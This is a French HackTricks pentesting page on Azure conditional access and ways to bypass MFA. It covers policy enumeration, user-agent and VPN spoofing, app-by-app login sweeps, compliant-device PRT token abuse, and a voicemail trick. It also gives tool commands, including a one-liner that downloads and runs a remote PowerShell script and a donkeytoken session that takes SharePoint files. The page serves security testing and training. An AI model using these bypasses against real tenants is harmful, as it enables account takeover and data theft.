Az - Politiques d'accès conditionnel et contournement MFA
Reading time: 10 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Les politiques d'accès conditionnel Azure sont des règles établies dans Microsoft Azure pour appliquer des contrôles d'accès aux services et applications Azure en fonction de certaines conditions. Ces politiques aident les organisations à sécuriser leurs ressources en appliquant les bons contrôles d'accès dans les bonnes circonstances.
Les politiques d'accès conditionnel définissent essentiellement Qui peut accéder à Quoi depuis Où et Comment.
Voici quelques exemples :
- Politique de risque de connexion : Cette politique pourrait être configurée pour exiger une authentification multifacteur (MFA) lorsqu'un risque de connexion est détecté. Par exemple, si le comportement de connexion d'un utilisateur est inhabituel par rapport à son modèle habituel, comme se connecter depuis un pays différent, le système peut demander une authentification supplémentaire.
- Politique de conformité des appareils : Cette politique peut restreindre l'accès aux services Azure uniquement aux appareils qui sont conformes aux normes de sécurité de l'organisation. Par exemple, l'accès pourrait être autorisé uniquement depuis des appareils ayant un logiciel antivirus à jour ou exécutant une certaine version du système d'exploitation.
Énumération
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
Contournements des politiques d'accès conditionnel
Il est possible qu'une politique d'accès conditionnel vérifie certaines informations qui peuvent être facilement falsifiées, permettant ainsi de contourner la politique. Et si, par exemple, la politique était configurée pour exiger MFA, l'attaquant pourra la contourner.
Lors de la configuration d'une politique d'accès conditionnel, il est nécessaire d'indiquer les utilisateurs concernés et les ressources cibles (comme toutes les applications cloud).
Il est également nécessaire de configurer les conditions qui déclencheront la politique :
- Réseau : IP, plages IP et emplacements géographiques
- Peut être contourné en utilisant un VPN ou un Proxy pour se connecter à un pays ou en réussissant à se connecter depuis une adresse IP autorisée
- Risques Microsoft : Risque utilisateur, risque de connexion, risque interne
- Plateformes de dispositifs : Tout dispositif ou sélectionner Android, iOS, Windows phone, Windows, macOS, Linux
- Si "Tout dispositif" n'est pas sélectionné mais que toutes les autres options sont sélectionnées, il est possible de le contourner en utilisant un user-agent aléatoire non lié à ces plateformes
- Applications clientes : Les options sont "Navigateur", "Applications mobiles et clients de bureau", "Clients Exchange ActiveSync" et "Autres clients"
- Pour contourner la connexion avec une option non sélectionnée
- Filtre pour les dispositifs : Il est possible de générer une règle liée au dispositif utilisé
- Flux d'authentification : Les options sont "Flux de code de dispositif" et "Transfert d'authentification"
- Cela n'affectera pas un attaquant à moins qu'il n'essaie d'abuser de l'un de ces protocoles dans une tentative de phishing pour accéder au compte de la victime
Les résultats possibles sont : Bloquer ou Accorder l'accès avec des conditions potentielles comme exiger MFA, que le dispositif soit conforme…
Plateformes de dispositifs - Condition de dispositif
Il est possible de définir une condition basée sur la plateforme de dispositif (Android, iOS, Windows, macOS...), cependant, cela est basé sur le user-agent donc il est facile de contourner. Même en rendant toutes les options obligatoires pour MFA, si vous utilisez un user-agent qui n'est pas reconnu, vous pourrez contourner le MFA ou le blocage :
.png)
Il suffit de faire en sorte que le navigateur envoie un user-agent inconnu (comme Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile
) pour ne pas déclencher cette condition.
Vous pouvez changer le user-agent manuellement dans les outils de développement :
.png)
Ou utiliser une extension de navigateur comme celle-ci.
Emplacements : Pays, plages IP - Condition de dispositif
Si cela est défini dans la politique conditionnelle, un attaquant pourrait simplement utiliser un VPN dans le pays autorisé ou essayer de trouver un moyen d'accéder depuis une adresse IP autorisée pour contourner ces conditions.
Applications Cloud
Il est possible de configurer des politiques d'accès conditionnel pour bloquer ou forcer par exemple MFA lorsqu'un utilisateur essaie d'accéder à une application spécifique :
.png)
Pour essayer de contourner cette protection, vous devriez voir si vous pouvez vous connecter uniquement à une application.
L'outil AzureAppsSweep a des dizaines d'ID d'application codés en dur et essaiera de se connecter à eux et vous informera et vous donnera même le token si cela réussit.
Afin de tester des ID d'application spécifiques dans des ressources spécifiques, vous pourriez également utiliser un outil tel que :
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
De plus, il est également possible de protéger la méthode de connexion (par exemple, si vous essayez de vous connecter depuis le navigateur ou depuis une application de bureau). L'outil Invoke-MFASweep effectue certaines vérifications pour essayer de contourner ces protections également.
L'outil donkeytoken pourrait également être utilisé à des fins similaires bien qu'il semble non maintenu.
L'outil ROPCI peut également être utilisé pour tester ces protections et voir s'il est possible de contourner les MFA ou les blocages, mais cet outil fonctionne d'une perspective whitebox. Vous devez d'abord télécharger la liste des applications autorisées dans le locataire, puis il essaiera de se connecter à celles-ci.
Autres contournements de MFA Az
Sonnerie
Une option Azure MFA est de recevoir un appel au numéro de téléphone configuré où il sera demandé à l'utilisateur de envoyer le caractère #
.
caution
Comme les caractères ne sont que des tons, un attaquant pourrait compromettre le message de messagerie vocale du numéro de téléphone, configurer comme message le ton de #
et ensuite, lors de la demande de MFA, s'assurer que le téléphone de la victime est occupé (en l'appelant) afin que l'appel Azure soit redirigé vers la messagerie vocale.
Appareils conformes
Les politiques demandent souvent un appareil conforme ou MFA, donc un attaquant pourrait enregistrer un appareil conforme, obtenir un jeton PRT et contourner ainsi le MFA.
Commencez par enregistrer un appareil conforme dans Intune, puis obtenez le PRT avec :
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
Trouvez plus d'informations sur ce type d'attaque dans la page suivante :
Outils
AzureAppsSweep
Ce script récupère des identifiants d'utilisateur et vérifie s'il peut se connecter à certaines applications.
Ceci est utile pour voir si vous n'êtes pas obligé de MFA pour vous connecter à certaines applications que vous pourriez ensuite abuser pour escalader des privilèges.
roadrecon
Obtenez toutes les politiques.
roadrecon plugin policies
Invoke-MFASweep
MFASweep est un script PowerShell qui tente de se connecter à divers services Microsoft en utilisant un ensemble de credentials fournis et essaiera d'identifier si MFA est activé. Selon la façon dont les politiques d'accès conditionnel et d'autres paramètres d'authentification multi-facteurs sont configurés, certains protocoles peuvent finir par être laissés en facteur unique. Il a également une vérification supplémentaire pour les configurations ADFS et peut tenter de se connecter au serveur ADFS sur site s'il est détecté.
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
ROPCI
Cet outil a aidé à identifier les contournements MFA et à abuser des API dans plusieurs locataires AAD de production, où les clients AAD croyaient avoir MFA appliqué, mais l'authentification basée sur ROPC a réussi.
tip
Vous devez avoir les autorisations pour lister toutes les applications afin de pouvoir générer la liste des applications à forcer.
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json
donkeytoken
Donkey token est un ensemble de fonctions qui visent à aider les consultants en sécurité qui doivent valider les politiques d'accès conditionnel, tester les portails Microsoft avec 2FA activé, etc..
git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force
Testez chaque portail s'il est possible de se connecter sans MFA :
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
Parce que le portail Azure n'est pas contraint, il est possible de rassembler un jeton à partir de l'endpoint du portail pour accéder à tout service détecté par l'exécution précédente. Dans ce cas, Sharepoint a été identifié, et un jeton pour y accéder est demandé :
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
Supposons que le jeton ait la permission Sites.Read.All (de Sharepoint), même si vous ne pouvez pas accéder à Sharepoint depuis le web en raison de MFA, il est possible d'utiliser le jeton pour accéder aux fichiers avec le jeton généré :
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.